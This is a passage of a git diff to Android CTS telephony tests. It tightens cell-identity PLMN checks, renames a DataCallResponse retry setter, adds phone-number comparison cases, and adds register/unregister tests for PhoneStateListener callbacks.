+            assertFalse("PLMN-ID is required for registered cells",
+                    TextUtils.isEmpty(wcdma.getMobileNetworkOperator()));
         }
 
         verifyCellIdentityWcdmaLocationSanitation(wcdma);
@@ -943,19 +968,13 @@
         assertTrue("getArfcn() out of range [0,1024], arfcn=" + arfcn,
                 arfcn == CellInfo.UNAVAILABLE || (arfcn >= 0 && arfcn <= ARFCN));
 
-        String mobileNetworkOperator = gsm.getMobileNetworkOperator();
-        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
-                        + mobileNetworkOperator,
-                mobileNetworkOperator == null
-                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
-
         int bsic = gsm.getBsic();
-        // TODO(b/32774471) - Bsic should always be valid
-        //assertTrue("getBsic() out of range [0,63]", bsic >= 0 && bsic <=63);
+        assertTrue("getBsic() out of range [0,63]", bsic >= 0 && bsic <= 63);
 
         for (String plmnId : gsm.getAdditionalPlmns()) {
             verifyPlmnId(plmnId);
         }
+        verifyPlmnId(gsm.getMobileNetworkOperator());
 
         // If the cell is reported as registered, then all the logical cell info must be reported
         if (isRegistered) {
@@ -965,6 +984,8 @@
                     gsm.getMccString() != null || gsm.getMcc() != CellInfo.UNAVAILABLE);
             assertTrue("MNC is required for registered cells",
                     gsm.getMncString() != null || gsm.getMnc() != CellInfo.UNAVAILABLE);
+            assertFalse("PLMN-ID is required for registered cells",
+                    TextUtils.isEmpty(gsm.getMobileNetworkOperator()));
         }
 
         verifyCellIdentityGsmLocationSanitation(gsm);
@@ -1064,11 +1085,7 @@
         int cpid = tdscdma.getCpid();
         assertTrue("getCpid() out of range [0, 127], cpid=" + cpid, (cpid >= 0 && cpid <= CPID));
 
-        String mobileNetworkOperator = tdscdma.getMobileNetworkOperator();
-        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
-                        + mobileNetworkOperator,
-                mobileNetworkOperator == null
-                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+        verifyPlmnId(tdscdma.getMobileNetworkOperator());
 
         int uarfcn = tdscdma.getUarfcn();
         // Reference 3GPP 25.101 Table 5.2
@@ -1089,6 +1106,8 @@
             assertTrue("CID is required for registered cells", cid != CellInfo.UNAVAILABLE);
             assertTrue("MCC is required for registered cells", tdscdma.getMccString() != null);
             assertTrue("MNC is required for registered cells", tdscdma.getMncString() != null);
+            assertFalse("PLMN-ID is required for registered cells",
+                    TextUtils.isEmpty(tdscdma.getMobileNetworkOperator()));
         }
 
         verifyCellIdentityTdscdmaLocationSanitation(tdscdma);
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
index ed17284..6c61cc3 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
@@ -17,10 +17,16 @@
 package android.telephony.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
 
 import android.telephony.CellSignalStrength;
 import android.telephony.SignalStrength;
 
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
 import org.junit.Test;
 
 /**
@@ -30,6 +36,12 @@
 public class CellSignalStrengthTest {
     private static final String TAG = "CellSignalStrengthTest";
 
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue(InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+    }
+
     /** Check whether NUM_SIGNAL_STRENGTH_BINS holds value 5 as required by
      * {@link SignalStrength#getLevel)} which returns value between 0 and 4. */
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
index 485575c..4eec7c4 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
@@ -57,7 +57,7 @@
     public void testConstructorAndGetters() {
         DataCallResponse response = new DataCallResponse.Builder()
                 .setCause(CAUSE)
-                .setRetryIntervalMillis(RETRY)
+                .setRetryDurationMillis(RETRY)
                 .setId(ID)
                 .setLinkStatus(LINK_STATUS)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -73,7 +73,7 @@
                 .build();
 
         assertThat(response.getCause()).isEqualTo(CAUSE);
-        assertThat(response.getRetryIntervalMillis()).isEqualTo(RETRY);
+        assertThat(response.getRetryDurationMillis()).isEqualTo(RETRY);
         assertThat(response.getId()).isEqualTo(ID);
         assertThat(response.getLinkStatus()).isEqualTo(LINK_STATUS);
         assertThat(response.getProtocolType()).isEqualTo(PROTOCOL_TYPE);
@@ -92,7 +92,7 @@
     public void testEquals() {
         DataCallResponse response = new DataCallResponse.Builder()
                 .setCause(CAUSE)
-                .setRetryIntervalMillis(RETRY)
+                .setRetryDurationMillis(RETRY)
                 .setId(ID)
                 .setLinkStatus(LINK_STATUS)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -109,7 +109,7 @@
 
         DataCallResponse equalsResponse = new DataCallResponse.Builder()
                 .setCause(CAUSE)
-                .setRetryIntervalMillis(RETRY)
+                .setRetryDurationMillis(RETRY)
                 .setId(ID)
                 .setLinkStatus(LINK_STATUS)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -131,7 +131,7 @@
     public void testNotEquals() {
         DataCallResponse response = new DataCallResponse.Builder()
                 .setCause(CAUSE)
-                .setRetryIntervalMillis(RETRY)
+                .setRetryDurationMillis(RETRY)
                 .setId(ID)
                 .setLinkStatus(LINK_STATUS)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -148,7 +148,7 @@
 
         DataCallResponse notEqualsResponse = new DataCallResponse.Builder()
                 .setCause(1)
-                .setRetryIntervalMillis(-1)
+                .setRetryDurationMillis(-1)
                 .setId(1)
                 .setLinkStatus(3)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -172,7 +172,7 @@
     public void testParcel() {
         DataCallResponse response = new DataCallResponse.Builder()
                 .setCause(CAUSE)
-                .setRetryIntervalMillis(RETRY)
+                .setRetryDurationMillis(RETRY)
                 .setId(ID)
                 .setLinkStatus(LINK_STATUS)
                 .setProtocolType(PROTOCOL_TYPE)
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
index 49558d1..38873cf 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
@@ -387,12 +387,65 @@
 
     @Test
     public void testFormatNumberToE164() {
-        assertNull(PhoneNumberUtils.formatNumber("invalid#", "US"));
-        assertNull(PhoneNumberUtils.formatNumberToE164("1234567", "US"));
+        assertNull(PhoneNumberUtils.formatNumber("invalid#", "us"));
+        assertNull(PhoneNumberUtils.formatNumberToE164("1234567", "us"));
 
-        assertEquals("+18004664114", PhoneNumberUtils.formatNumberToE164("800-GOOG-114", "US"));
-        assertEquals("+16502910000", PhoneNumberUtils.formatNumberToE164("650 2910000", "US"));
-        assertEquals("+12023458246", PhoneNumberUtils.formatNumberToE164("(202)345-8246", "US"));
-        assertEquals("+812023458246", PhoneNumberUtils.formatNumberToE164("202-345-8246", "JP"));
+        assertEquals("+18004664114", PhoneNumberUtils.formatNumberToE164("800-GOOG-114", "us"));
+        assertEquals("+16502910000", PhoneNumberUtils.formatNumberToE164("650 2910000", "us"));
+        assertEquals("+12023458246", PhoneNumberUtils.formatNumberToE164("(202)345-8246", "us"));
+        assertEquals("+812023458246", PhoneNumberUtils.formatNumberToE164("202-345-8246", "jp"));
+    }
+
+    @Test
+    public void testAreSamePhoneNumber() {
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("abcd", "bcde", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("1-800-flowers", "800-flowers", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("1-800-flowers", "1-800-abcdefg", "us"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("999", "999", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("123456789", "923456789", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("123456789", "0123456789", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "650 253 0000", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "1-650-253-0000", "us"));
+
+        //TODO: Change the expected result to false after libphonenumber improvement
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "11-650-253-0000", "us"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "0-650-253-0000", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("555-4141", "+1-700-555-4141", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+1650-253-0000", "6502530000", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("001650-253-0000", "6502530000", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("0111650-253-0000", "6502530000", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+19012345678", "+819012345678", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("008001231234", "8001231234", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+66811234567", "166811234567", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("080-1234-5678", "+819012345678", "us"));
+
+        //TODO: Change the expected result to false after libphonenumber improvement
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("011 11 7005554141", "+17005554141", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+44 207 792 3490", "00 207 792 3490",
+                "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("16610001234", "6610001234", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+14504503605", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+15404503605", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+15514503605", "us"));
+
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+31771234567", "0771234567", "jp"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "+819012345678", "jp"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "90-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "080-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "190-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "890-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("080-1234-5678", "+819012345678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("290-1234-5678", "+819012345678", "jp"));
+
+        //TODO: Change the expected result to false after libphonenumber improvement
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+79161234567", "89161234567", "ru"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+33123456789", "0123456789", "fr"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+31771234567", "0771234567", "nl"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+593(800)123-1234", "8001231234", "ec"));
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
index 92f5e44..a4e4f7e 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
@@ -23,8 +23,10 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
+import android.annotation.NonNull;
 import android.content.Context;
 import android.net.ConnectivityManager;
 import android.os.Handler;
@@ -37,6 +39,7 @@
 import android.telephony.CellInfo;
 import android.telephony.CellLocation;
 import android.telephony.PhoneStateListener;
+import android.telephony.PhysicalChannelConfig;
 import android.telephony.PreciseCallState;
 import android.telephony.PreciseDataConnectionState;
 import android.telephony.ServiceState;
@@ -45,6 +48,7 @@
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyDisplayInfo;
 import android.telephony.TelephonyManager;
+import android.telephony.TelephonyManager.DataEnabledReason;
 import android.telephony.emergency.EmergencyNumber;
 import android.telephony.ims.ImsReasonInfo;
 import android.util.Log;
@@ -94,6 +98,8 @@
     private boolean mSecurityExceptionThrown;
     private boolean mOnRegistrationFailedCalled;
     private boolean mOnTelephonyDisplayInfoChanged;
+    private boolean mOnPhysicalChannelConfigCalled;
+    private boolean mOnDataEnabledChangedCalled;
     @RadioPowerState private int mRadioPowerState;
     @SimActivationState private int mVoiceActivationState;
     private BarringInfo mBarringInfo;
@@ -166,6 +172,64 @@
         new PhoneStateListener();
     }
 
+    private void registerPhoneStateListenerWithPermission(@NonNull PhoneStateListener listener) {
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                (tm) -> tm.registerPhoneStateListener(mSimpleExecutor, listener));
+    }
+
+    private void registerPhoneStateListener(@NonNull PhoneStateListener listener) {
+        mTelephonyManager.registerPhoneStateListener(mSimpleExecutor, listener);
+    }
+
+    private void unRegisterPhoneStateListener(boolean condition,
+            @NonNull PhoneStateListener listener) throws Exception {
+        synchronized (mLock) {
+            condition = false;
+            mTelephonyManager.unregisterPhoneStateListener(listener);
+            mLock.wait(WAIT_TIME);
+
+            assertFalse(condition);
+        }
+    }
+
+    private ServiceStateChangedListener mServiceStateChangedListener;
+
+    private class ServiceStateChangedListener extends PhoneStateListener
+            implements PhoneStateListener.ServiceStateChangedListener {
+        @Override
+        public void onServiceStateChanged(ServiceState serviceState) {
+            synchronized (mLock) {
+                mOnServiceStateChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnServiceStateChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnServiceStateChangedCalled);
+
+        mHandler.post(() -> {
+            mServiceStateChangedListener = new ServiceStateChangedListener();
+            registerPhoneStateListener(mServiceStateChangedListener);
+        });
+        synchronized (mLock) {
+            if (!mOnServiceStateChangedCalled){
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnServiceStateChangedCalled);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnServiceStateChangedCalled, mServiceStateChangedListener);
+    }
+
     @Test
     public void testOnServiceStateChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -197,6 +261,55 @@
     }
 
     @Test
+    public void testOnUnRegisterFollowedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnServiceStateChangedCalled);
+
+        mHandler.post(() -> {
+            mServiceStateChangedListener = new ServiceStateChangedListener();
+            registerPhoneStateListener(mServiceStateChangedListener);
+        });
+        synchronized (mLock) {
+            if (!mOnServiceStateChangedCalled){
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnServiceStateChangedCalled);
+
+        // reset and un-register
+        mOnServiceStateChangedCalled = false;
+        if (mServiceStateChangedListener != null) {
+            // un-register the listener
+            mTelephonyManager.unregisterPhoneStateListener(mServiceStateChangedListener);
+        }
+        synchronized (mLock) {
+            if (!mOnServiceStateChangedCalled){
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        assertFalse(mOnServiceStateChangedCalled);
+
+        // re-register the listener
+        registerPhoneStateListener(mServiceStateChangedListener);
+        synchronized (mLock) {
+            if (!mOnServiceStateChangedCalled){
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnServiceStateChangedCalled);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnServiceStateChangedCalled, mServiceStateChangedListener);
+    }
+
+
+    @Test
     public void testOnUnRegisterFollowedByRegister() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
             Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
@@ -374,6 +487,57 @@
     }
     */
 
+    private SignalStrengthsChangedListener mSignalStrengthsChangedListener;
+
+    private class SignalStrengthsChangedListener extends PhoneStateListener
+            implements PhoneStateListener.SignalStrengthsChangedListener {
+        @Override
+        public void onSignalStrengthsChanged(SignalStrength signalStrength) {
+            synchronized (mLock) {
+                mSignalStrength = signalStrength;
+                mLock.notify();
+            }
+        }
+    }
+
+    private void getSignalStrength() {
+        mSignalStrength.getCdmaDbm();
+        mSignalStrength.getCdmaEcio();
+        mSignalStrength.getEvdoDbm();
+        mSignalStrength.getEvdoEcio();
+        mSignalStrength.getEvdoSnr();
+        mSignalStrength.getGsmBitErrorRate();
+        mSignalStrength.getGsmSignalStrength();
+        mSignalStrength.isGsm();
+        mSignalStrength.getLevel();
+    }
+
+    @Test
+    public void testOnSignalStrengthsChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertTrue(mSignalStrength == null);
+
+        mHandler.post(() -> {
+            mSignalStrengthsChangedListener = new SignalStrengthsChangedListener();
+            registerPhoneStateListener(mSignalStrengthsChangedListener);
+        });
+        synchronized (mLock) {
+            if (mSignalStrength == null) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mSignalStrength != null);
+        // Call SignalStrength methods to make sure they do not throw any exceptions
+        getSignalStrength();
+
+        // Test unregister
+        unRegisterPhoneStateListener(mSignalStrength == null, mSignalStrengthsChangedListener);
+    }
+
     @Test
     public void testOnSignalStrengthsChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -402,15 +566,46 @@
 
         assertTrue(mSignalStrength != null);
         // Call SignalStrength methods to make sure they do not throw any exceptions
-        mSignalStrength.getCdmaDbm();
-        mSignalStrength.getCdmaEcio();
-        mSignalStrength.getEvdoDbm();
-        mSignalStrength.getEvdoEcio();
-        mSignalStrength.getEvdoSnr();
-        mSignalStrength.getGsmBitErrorRate();
-        mSignalStrength.getGsmSignalStrength();
-        mSignalStrength.isGsm();
-        mSignalStrength.getLevel();
+        getSignalStrength();
+    }
+
+    private MessageWaitingIndicatorChangedListener mMessageWaitingIndicatorChangedListener;
+
+    private class MessageWaitingIndicatorChangedListener extends PhoneStateListener
+            implements PhoneStateListener.MessageWaitingIndicatorChangedListener {
+        @Override
+        public void onMessageWaitingIndicatorChanged(boolean mwi) {
+            synchronized (mLock) {
+                mOnMessageWaitingIndicatorChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnMessageWaitingIndicatorChangedByRegisterPhoneStateListener()
+            throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnMessageWaitingIndicatorChangedCalled);
+
+        mHandler.post(() -> {
+            mMessageWaitingIndicatorChangedListener = new MessageWaitingIndicatorChangedListener();
+            registerPhoneStateListener(mMessageWaitingIndicatorChangedListener);
+        });
+        synchronized (mLock) {
+            if (!mOnMessageWaitingIndicatorChangedCalled){
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnMessageWaitingIndicatorChangedCalled);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnMessageWaitingIndicatorChangedCalled,
+                mMessageWaitingIndicatorChangedListener);
     }
 
     @Test
@@ -443,6 +638,50 @@
         assertTrue(mOnMessageWaitingIndicatorChangedCalled);
     }
 
+    private PreciseCallStateChangedListener mPreciseCallStateChangedListener;
+
+    private class PreciseCallStateChangedListener extends PhoneStateListener
+            implements PhoneStateListener.PreciseCallStateChangedListener {
+        @Override
+        public void onPreciseCallStateChanged(PreciseCallState preciseCallState) {
+            synchronized (mLock) {
+                mOnPreciseCallStateChangedCalled = true;
+                mPreciseCallState = preciseCallState;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnPreciseCallStateChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mOnPreciseCallStateChangedCalled).isFalse();
+
+        mHandler.post(() -> {
+            mPreciseCallStateChangedListener = new PreciseCallStateChangedListener();
+            registerPhoneStateListenerWithPermission(mPreciseCallStateChangedListener);
+        });
+        synchronized (mLock) {
+            if (!mOnPreciseCallStateChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        Log.d(TAG, "testOnPreciseCallStateChangedByRegisterPhoneStateListener: "
+                + mOnPreciseCallStateChangedCalled);
+
+        assertThat(mOnPreciseCallStateChangedCalled).isTrue();
+        assertThat(mPreciseCallState.getForegroundCallState()).isIn(PRECISE_CALL_STATE);
+        assertThat(mPreciseCallState.getBackgroundCallState()).isIn(PRECISE_CALL_STATE);
+        assertThat(mPreciseCallState.getRingingCallState()).isIn(PRECISE_CALL_STATE);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnPreciseCallStateChangedCalled,
+                mPreciseCallStateChangedListener);
+    }
+
     @Test
     public void testOnPreciseCallStateChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -478,6 +717,46 @@
         assertThat(mPreciseCallState.getRingingCallState()).isIn(PRECISE_CALL_STATE);
     }
 
+    private CallDisconnectCauseChangedListener mCallDisconnectCauseChangedListener;
+
+    private class CallDisconnectCauseChangedListener extends PhoneStateListener
+            implements PhoneStateListener.CallDisconnectCauseChangedListener {
+        @Override
+        public void onCallDisconnectCauseChanged(int disconnectCause,
+                                                 int preciseDisconnectCause) {
+            synchronized (mLock) {
+                mOnCallDisconnectCauseChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnCallDisconnectCauseChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mOnCallDisconnectCauseChangedCalled).isFalse();
+
+        mHandler.post(() -> {
+            mCallDisconnectCauseChangedListener = new CallDisconnectCauseChangedListener();
+            registerPhoneStateListenerWithPermission(mCallDisconnectCauseChangedListener);
+
+        });
+        synchronized (mLock) {
+            if (!mOnCallDisconnectCauseChangedCalled){
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertThat(mOnCallDisconnectCauseChangedCalled).isTrue();
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnCallDisconnectCauseChangedCalled,
+                mCallDisconnectCauseChangedListener);
+    }
+
     @Test
     public void testOnCallDisconnectCauseChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -510,6 +789,45 @@
         assertThat(mOnCallDisconnectCauseChangedCalled).isTrue();
     }
 
+    private ImsCallDisconnectCauseChangedListener mImsCallDisconnectCauseChangedListener;
+
+    private class ImsCallDisconnectCauseChangedListener extends PhoneStateListener
+            implements PhoneStateListener.ImsCallDisconnectCauseChangedListener {
+        @Override
+        public void onImsCallDisconnectCauseChanged(ImsReasonInfo imsReason) {
+            synchronized (mLock) {
+                mOnImsCallDisconnectCauseChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnImsCallDisconnectCauseChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mOnImsCallDisconnectCauseChangedCalled).isFalse();
+
+        mHandler.post(() -> {
+            mImsCallDisconnectCauseChangedListener = new ImsCallDisconnectCauseChangedListener();
+            registerPhoneStateListenerWithPermission(mImsCallDisconnectCauseChangedListener);
+
+        });
+        synchronized (mLock) {
+            if (!mOnImsCallDisconnectCauseChangedCalled){
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertThat(mOnImsCallDisconnectCauseChangedCalled).isTrue();
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnImsCallDisconnectCauseChangedCalled,
+                mImsCallDisconnectCauseChangedListener);
+    }
+
     @Test
     public void testOnImsCallDisconnectCauseChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -541,6 +859,45 @@
         assertThat(mOnImsCallDisconnectCauseChangedCalled).isTrue();
     }
 
+    private SrvccStateChangedListener mSrvccStateChangedListener;
+
+    private class SrvccStateChangedListener extends PhoneStateListener
+            implements PhoneStateListener.SrvccStateChangedListener {
+        @Override
+        public void onSrvccStateChanged(int state) {
+            synchronized (mLock) {
+                mSrvccStateChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOSrvccStateChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mSrvccStateChangedCalled).isFalse();
+
+        mHandler.post(() -> {
+            mSrvccStateChangedListener = new SrvccStateChangedListener();
+            registerPhoneStateListenerWithPermission(mSrvccStateChangedListener);
+
+        });
+        synchronized (mLock) {
+            if (!mSrvccStateChangedCalled){
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        Log.d(TAG, "testOSrvccStateChangedByRegisterPhoneStateListener");
+
+        assertThat(mSrvccStateChangedCalled).isTrue();
+
+        // Test unregister
+        unRegisterPhoneStateListener(mSrvccStateChangedCalled, mSrvccStateChangedListener);
+    }
+
     @Test
     public void testOnPhoneStateListenerExecutorWithSrvccChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -573,6 +930,47 @@
         assertThat(mSrvccStateChangedCalled).isTrue();
     }
 
+    private RadioPowerStateChangedListener mRadioPowerStateChangedListener;
+
+    private class RadioPowerStateChangedListener extends PhoneStateListener
+            implements PhoneStateListener.RadioPowerStateChangedListener {
+        @Override
+        public void onRadioPowerStateChanged(int state) {
+            synchronized (mLock) {
+                mRadioPowerState = state;
+                mOnRadioPowerStateChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnRadioPowerStateChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mOnRadioPowerStateChangedCalled).isFalse();
+
+        mHandler.post(() -> {
+            mRadioPowerStateChangedListener = new RadioPowerStateChangedListener();
+            registerPhoneStateListenerWithPermission(mRadioPowerStateChangedListener);
+        });
+        synchronized (mLock) {
+            if (!mOnRadioPowerStateChangedCalled){
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        Log.d(TAG, "testOnRadioPowerStateChangedByRegisterPhoneStateListener: "
+                + mRadioPowerState);
+
+        assertThat(mTelephonyManager.getRadioPowerState()).isEqualTo(mRadioPowerState);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnRadioPowerStateChangedCalled,
+                mRadioPowerStateChangedListener);
+    }
+
     @Test
     public void testOnRadioPowerStateChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -606,6 +1004,50 @@
         assertThat(mTelephonyManager.getRadioPowerState()).isEqualTo(mRadioPowerState);
     }
 
+    private VoiceActivationStateChangedListener mVoiceActivationStateChangedListener;
+
+    private class VoiceActivationStateChangedListener extends PhoneStateListener
+            implements PhoneStateListener.VoiceActivationStateChangedListener {
+        @Override
+        public void onVoiceActivationStateChanged(int state) {
+            synchronized (mLock) {
+                mVoiceActivationState = state;
+                mVoiceActivationStateChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnVoiceActivationStateChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mVoiceActivationStateChangedCalled).isFalse();
+
+        mHandler.post(() -> {
+            mVoiceActivationStateChangedListener = new VoiceActivationStateChangedListener();
+            registerPhoneStateListenerWithPermission(mVoiceActivationStateChangedListener);
+
+        });
+        synchronized (mLock) {
+            if (!mVoiceActivationStateChangedCalled){
